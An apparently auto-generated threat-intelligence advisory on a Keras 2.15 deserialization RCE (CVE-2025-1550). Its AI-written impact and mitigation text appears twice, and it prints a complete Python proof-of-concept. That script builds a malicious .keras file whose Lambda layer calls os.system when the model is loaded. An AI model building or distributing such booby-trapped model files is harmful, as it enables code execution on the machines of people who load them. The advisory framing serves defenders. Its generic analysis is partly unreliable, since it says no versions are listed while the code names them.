Keras 2.15 - Remote Code Execution (RCE)
Keras 2.15 - Remote Code Execution (RCE)
AI Analysis
Technical Summary
The reported security threat concerns a Remote Code Execution (RCE) vulnerability in Keras version 2.15. Keras is a widely used open-source deep learning framework written in Python, often employed for building and training neural networks. An RCE vulnerability in such a framework implies that an attacker could potentially execute arbitrary code on a system running the vulnerable version of Keras. This could occur if the framework improperly handles untrusted input, such as maliciously crafted model files, serialized objects, or data inputs that are deserialized or processed insecurely. Given that Keras is primarily a Python library, exploitation might involve injecting malicious Python code that the framework executes during model loading or inference. The presence of exploit code written in Python indicates that the vulnerability can be triggered programmatically, possibly without requiring complex prerequisites. Although no specific affected versions are listed, the mention of version 2.15 suggests that this release contains the vulnerability. No official patch links are provided, and there are no known exploits in the wild at the time of reporting. The lack of detailed CWE identifiers and technical specifics limits the ability to pinpoint the exact attack vector, but the critical severity rating underscores the high risk posed by this vulnerability.
Potential Impact
For European organizations, the impact of this RCE vulnerability in Keras 2.15 could be significant, especially for entities relying on machine learning models in production environments. Attackers exploiting this flaw could gain unauthorized access to systems, execute arbitrary commands, and potentially move laterally within networks. This could lead to data breaches, intellectual property theft, disruption of AI-driven services, and compromise of sensitive data processed by machine learning workflows. Organizations in sectors such as finance, healthcare, automotive, and telecommunications, which increasingly integrate AI and ML technologies, may face operational disruptions and reputational damage. Additionally, given the critical nature of the vulnerability, attackers might use it as an initial foothold for deploying ransomware or conducting espionage. The absence of known exploits in the wild currently reduces immediate risk but does not preclude future exploitation, especially once exploit code is publicly available.
Mitigation Recommendations
European organizations should immediately audit their environments to identify deployments of Keras 2.15. Until an official patch or update is released, organizations should consider the following mitigations: 1) Restrict the processing of untrusted or external model files and data inputs to trusted sources only. 2) Employ strict input validation and sanitization where possible before feeding data into Keras workflows. 3) Use containerization or sandboxing techniques to isolate machine learning workloads, limiting the potential impact of code execution. 4) Monitor systems for unusual activity indicative of exploitation attempts, such as unexpected Python process executions or network connections. 5) Engage with the Keras community and maintain awareness of forthcoming patches or advisories. 6) Implement strict access controls and least privilege principles for systems running Keras to reduce the attack surface. 7) Consider temporarily downgrading to a previous, unaffected version if feasible and validated.
Affected Countries
Germany, France, United Kingdom, Netherlands, Sweden, Finland, Italy, Spain
Indicators of Compromise
- exploit-code: #!/usr/bin/env python3 # Exploit Title: Keras 2.15 - Remote Code Execution (RCE) # Author: Mohammed Idrees Banyamer # Instagram: @banyamer_security # GitHub: https://github.com/mbanyamer # Date: 2025-07-09 # Tested on: Ubuntu 22.04 LTS, Python 3.10, TensorFlow/Keras <= 2.15 # CVE: CVE-2025-1550 # Type: Remote Code Execution (RCE) # Platform: Python / Machine Learning (Keras) # Author Country: Jordan # Attack Vector: Malicious .keras file (client-side code execution via deserialization) # Description: # This exploit abuses insecure deserialization in Keras model loading. By embedding # a malicious "function" object inside a .keras file (or config.json), an attacker # can execute arbitrary system commands as soon as the model is loaded using # `keras.models.load_model()` or `model_from_json()`. # # This PoC generates a .keras file which, when loaded, triggers a reverse shell or command. # Use only in safe, sandboxed environments! # # Steps of exploitation: # 1. The attacker creates a fake Keras model using a specially crafted config.json. # 2. The model defines a Lambda layer with a "function" deserialized from the `os.system` call. # 3. When the victim loads the model using `load_model()`, the malicious function is executed. # 4. Result: Arbitrary Code Execution under the user running the Python process. # Affected Versions: # - Keras <= 2.15 # - TensorFlow versions using unsafe deserialization paths (prior to April 2025 patch) # # Usage: # $ python3 exploit_cve_2025_1550.py # [*] Loads the malicious model # [✓] Executes the payload (e.g., creates a file in /tmp) # # # Options: # - PAYLOAD: The command to execute upon loading (default: touch /tmp/pwned_by_keras) # - You may change this to: reverse shell, download script, etc. # Example: # $ python3 exploit_cve_2025_1550.py # [+] Created malicious model: malicious_model.keras # [*] Loading malicious model to trigger exploit... # [✓] Model loaded. If vulnerable, payload should be executed. import os import json from zipfile import ZipFile import tempfile import shutil from tensorflow.keras.models import load_model PAYLOAD = "touch /tmp/pwned_by_keras" def create_malicious_config(): return { "class_name": "Functional", "config": { "name": "pwned_model", "layers": [ { "class_name": "Lambda", "config": { "name": "evil_lambda", "function": { "class_name": "function", "config": { "module": "os", "function_name": "system", "registered_name": None } }, "arguments": [PAYLOAD] } } ], "input_layers": [["evil_lambda", 0, 0]], "output_layers": [["evil_lambda", 0, 0]] } } def build_malicious_keras(output_file="malicious_model.keras"): tmpdir = tempfile.mkdtemp() try: config_path = os.path.join(tmpdir, "config.json") with open(config_path, "w") as f: json.dump(create_malicious_config(), f) metadata_path = os.path.join(tmpdir, "metadata.json") with open(metadata_path, "w") as f: json.dump({"keras_version": "2.15.0"}, f) weights_path = os.path.join(tmpdir, "model.weights.h5") with open(weights_path, "wb") as f: f.write(b"\x89HDF\r\n\x1a\n") # توقيع HDF5 with ZipFile(output_file, "w") as archive: archive.write(config_path, arcname="config.json") archive.write(metadata_path, arcname="metadata.json") archive.write(weights_path, arcname="model.weights.h5") print(f"[+] Created malicious model: {output_file}") finally: shutil.rmtree(tmpdir) def trigger_exploit(model_path): print("[*] Loading malicious model to trigger exploit...") load_model(model_path) print("[✓] Model loaded. If vulnerable, payload should be executed.") if __name__ == "__main__": keras_file = "malicious_model.keras" build_malicious_keras(keras_file) trigger_exploit(keras_file)
Keras 2.15 - Remote Code Execution (RCE)
Description
Keras 2.15 - Remote Code Execution (RCE)
AI-Powered Analysis
Technical Analysis
The reported security threat concerns a Remote Code Execution (RCE) vulnerability in Keras version 2.15. Keras is a widely used open-source deep learning framework written in Python, often employed for building and training neural networks. An RCE vulnerability in such a framework implies that an attacker could potentially execute arbitrary code on a system running the vulnerable version of Keras. This could occur if the framework improperly handles untrusted input, such as maliciously crafted model files, serialized objects, or data inputs that are deserialized or processed insecurely. Given that Keras is primarily a Python library, exploitation might involve injecting malicious Python code that the framework executes during model loading or inference. The presence of exploit code written in Python indicates that the vulnerability can be triggered programmatically, possibly without requiring complex prerequisites. Although no specific affected versions are listed, the mention of version 2.15 suggests that this release contains the vulnerability. No official patch links are provided, and there are no known exploits in the wild at the time of reporting. The lack of detailed CWE identifiers and technical specifics limits the ability to pinpoint the exact attack vector, but the critical severity rating underscores the high risk posed by this vulnerability.
Potential Impact
For European organizations, the impact of this RCE vulnerability in Keras 2.15 could be significant, especially for entities relying on machine learning models in production environments. Attackers exploiting this flaw could gain unauthorized access to systems, execute arbitrary commands, and potentially move laterally within networks. This could lead to data breaches, intellectual property theft, disruption of AI-driven services, and compromise of sensitive data processed by machine learning workflows. Organizations in sectors such as finance, healthcare, automotive, and telecommunications, which increasingly integrate AI and ML technologies, may face operational disruptions and reputational damage. Additionally, given the critical nature of the vulnerability, attackers might use it as an initial foothold for deploying ransomware or conducting espionage. The absence of known exploits in the wild currently reduces immediate risk but does not preclude future exploitation, especially once exploit code is publicly available.
Mitigation Recommendations
European organizations should immediately audit their environments to identify deployments of Keras 2.15. Until an official patch or update is released, organizations should consider the following mitigations: 1) Restrict the processing of untrusted or external model files and data inputs to trusted sources only. 2) Employ strict input validation and sanitization where possible before feeding data into Keras workflows. 3) Use containerization or sandboxing techniques to isolate machine learning workloads, limiting the potential impact of code execution. 4) Monitor systems for unusual activity indicative of exploitation attempts, such as unexpected Python process executions or network connections. 5) Engage with the Keras community and maintain awareness of forthcoming patches or advisories. 6) Implement strict access controls and least privilege principles for systems running Keras to reduce the attack surface. 7) Consider temporarily downgrading to a previous, unaffected version if feasible and validated.
Affected Countries
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Technical Details
- Edb Id
- 52359
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Keras 2.15 - Remote Code Execution (RCE)
#!/usr/bin/env python3 # Exploit Title: Keras 2.15 - Remote Code Execution (RCE) # Author: Mohammed Idrees Banyamer # Instagram: @banyamer_security # GitHub: https://github.com/mbanyamer # Date: 2025-07-09 # Tested on: Ubuntu 22.04 LTS, Python 3.10, TensorFlow/Keras <= 2.15 # CVE: CVE-2025-1550 # Type: Remote Code Execution (RCE) # Platform: Python / Machine Learning (Keras) # Author Country: Jordan # Attack Vector: Malicious .keras file (client-side code execution via deserialization) # Descrip... (3801 more characters)
Threat ID: 687816daa83201eaacdebcab
Added to database: 7/16/2025, 9:17:14 PM
Last enriched: 7/16/2025, 9:19:53 PM
Last updated: 7/17/2025, 1:19:40 PM
Views: 9
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